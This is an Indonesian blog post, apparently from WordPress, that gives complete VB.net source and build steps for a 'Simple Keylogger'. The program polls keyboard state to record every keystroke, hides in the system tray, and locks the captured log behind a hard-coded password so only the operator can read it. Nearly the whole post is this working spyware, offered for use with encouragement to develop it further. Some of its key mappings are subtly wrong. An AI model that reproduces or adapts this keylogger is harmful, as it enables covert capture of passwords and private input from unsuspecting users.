Simple Keylogger v1.0 by bL4cK HoLeS with VB.net 2010


Pertama agan2 buat dulu formnya, misalkan form 1…trus isi dgn source dibawah ini..

============== Mulai =================

Public Class Form1

Private Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Integer) As Short

Private Declare Function GetKeyState Lib “user32” (ByVal nVirtKey As Integer) As Short

Dim i As Object

Dim keyPressed As Object

Dim charCount As Int32

Dim lineLimit As Int32 = 69

Dim addKey As Object

Public Function getCapslock() As Boolean

getCapslock = CBool(GetKeyState(System.Windows.Forms.Keys.Capital) And 1)

End Function

Public Function getShift() As Boolean

getShift = CBool(GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey))

End Function

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Left = (SystemInformation.WorkingArea.Size.Width – Size.Width)

Top = (SystemInformation.WorkingArea.Size.Height – Size.Height)

Timer1.Enabled = False

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

On Error Resume Next

keyPressed = GetAsyncKeyState(13)

If keyPressed = -32767 Then

charCount = 0

addKey = vbCrLf

GoTo KeyFound

End If

keyPressed = GetAsyncKeyState(8)

If keyPressed = -32767 Then

addKey = “[bs]”

charCount += 4

GoTo KeyFound

End If

keyPressed = GetAsyncKeyState(32)

If keyPressed = -32767 Then

addKey = ” ”

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(186)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “;”

Else

addKey = “:”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(187)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “=”

Else

addKey = “+”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(188)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “,”

Else

addKey = “<”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(189)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “-”

Else

addKey = “_”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(190)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “.”

Else

addKey = “>”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(191)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “/”

Else

addKey = “?”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(192)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “`”

Else

addKey = “~”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(96)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “0”

Else

addKey = “)”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(97)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “1”

Else

addKey = “!”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(98)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “2”

Else

addKey = “@”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(99)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “3”

Else

addKey = “#”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(100)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “4”

Else

addKey = “$”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(101)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “5”

Else

addKey = “%”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(102)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “6”

Else

addKey = “7”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(103)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “7”

Else

addKey = “&”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(104)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “8”

Else

addKey = “*”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(105)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “9”

Else

addKey = “(”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(106)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “*”

charCount += 1

Else

addKey = “”

End If

GoTo KeyFound

End If

keyPressed = GetAsyncKeyState(107)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “+”

Else

addKey = “=”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(108)

If keyPressed = -32767 Then

addKey = “”

GoTo KeyFound

End If

keyPressed = GetAsyncKeyState(109)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “-”

Else

addKey = “_”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(110)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “.”

Else

addKey = “>”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(111)

If keyPressed = -32767 Then

addKey = “/”

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(2)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “/”

Else

addKey = “?”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(220)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “\”

Else

addKey = “|”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(222)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “‘”

Else

addKey = Chr(34)

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(221)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “]”

Else

addKey = “}”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(219)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “[”

Else

addKey = “{”

End If

GoTo KeyFound

charCount += 1

End If

For i = 65 To 128

keyPressed = GetAsyncKeyState(i)

If keyPressed = -32767 Then

If getShift() = False Then

If getCapslock() = True Then

addKey = UCase(Chr(i))

Else

addKey = LCase(Chr(i))

End If

Else

If getCapslock() = False Then

addKey = UCase(Chr(i))

Else

addKey = LCase(Chr(i))

End If

End If

GoTo KeyFound

charCount += 1

End If

Next i

For i = 48 To 57

keyPressed = GetAsyncKeyState(i)

If keyPressed = -32767 Then

If getShift() = True Then

Select Case Val(Chr(i))

Case 1

addKey = “!”

Case 2

addKey = “@”

Case 3

addKey = “#”

Case 4

addKey = “$”

Case 5

addKey = “%”

Case 6

addKey = “^”

Case 7

addKey = “&”

Case 8

addKey = “*”

Case 9

addKey = “(”

Case 0

addKey = “)”

End Select

Else

addKey = Chr(i)

End If

GoTo KeyFound

charCount += 1

End If

Next i

System.Windows.Forms.Application.DoEvents()

Exit Sub

KeyFound:

If charCount > lineLimit Then

charCount = 0

TextBox1.AppendText(vbCrLf)

End If

If addKey <> “” Then TextBox1.AppendText(addKey)

System.Windows.Forms.Application.DoEvents()

End Sub

Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize

If Me.WindowState = FormWindowState.Minimized Then

Me.Hide()

NotifyIcon1.Visible = True

End If

End Sub

Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick

If isLock = True Then

login.Show()

NotifyIcon1.Visible = True

End If

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.WindowState = FormWindowState.Minimized

Me.Hide()

isLock = True

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

TextBox1.Clear()

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

Timer1.Enabled = True

Label2.Text = “Aplication Starting…by BITS CybeR T3aM”

End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click

Timer1.Enabled = False

Label2.Text = “Aplication Stopping…by BITS CybeR T3aM”

End Sub

Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked

System.Diagnostics.Process.Start(LinkLabel1.Text)

End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click

End

End Sub

End Class

===================== Berakhir =================

Setelah itu, agan tinggal bikin form login’a….tujuannya agar tidak ada yg bisa buka selain agan sendiri, karna cm agan ya mengetahui password’a …

trus masukin source berikut….!!

disini ane menggunakan password  ” BITS ” ( Liat TextBox1 = BITS ).Nah password itu bisa agan ubah sendiri sesuai keinginan….

================ Mulai =======================

Public Class login

Private Sub login_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Me.TextBox1.Focus()

Left = (SystemInformation.WorkingArea.Size.Width – Size.Width)

Top = (SystemInformation.WorkingArea.Size.Height – Size.Height)

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

If isLock = True Then

If Me.TextBox1.Text = “BITS” Then

Me.Hide()

Form1.Show()

Me.TextBox1.Text = “”

Form1.WindowState = FormWindowState.Normal

isLock = False

Else

MsgBox(“Password Salah!!!!”)

Me.TextBox1.Text = “”

End If

Else

If Me.TextBox1.Text = “BITS” Then

Me.Hide()

Form1.Show()

Me.TextBox1.Text = “”

Else

MsgBox(“Password Salah!!!!”)

Me.TextBox1.Text = “”

End If

End If

End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click

End

End Sub

Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

End Sub

End Class

============== Berakhir ===================

Trus bikin Form Module’a…misalkan winAPI

=============== Mulai =============

Module winAPI

Public isLock As Boolean

End Module

============= Berakhir ============

Setelah selesai semua, cb test running terlebih dahulu, apakah berjalan dgn baik atau tidak…Aplikasi ini sudah di cb dan berjalan dgn baik di win 7…

Selamat mencoba dan mengembangkannya menjadi lbh baik…

Author: Black Holes

Indonesian Cyber Center

One Comment Add yours

  1. Hey there! Do you know if they make any plugins to protect against hackers?
    I’m kinda paranoid about losing everything I’ve
    worked hard on. Any recommendations?

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s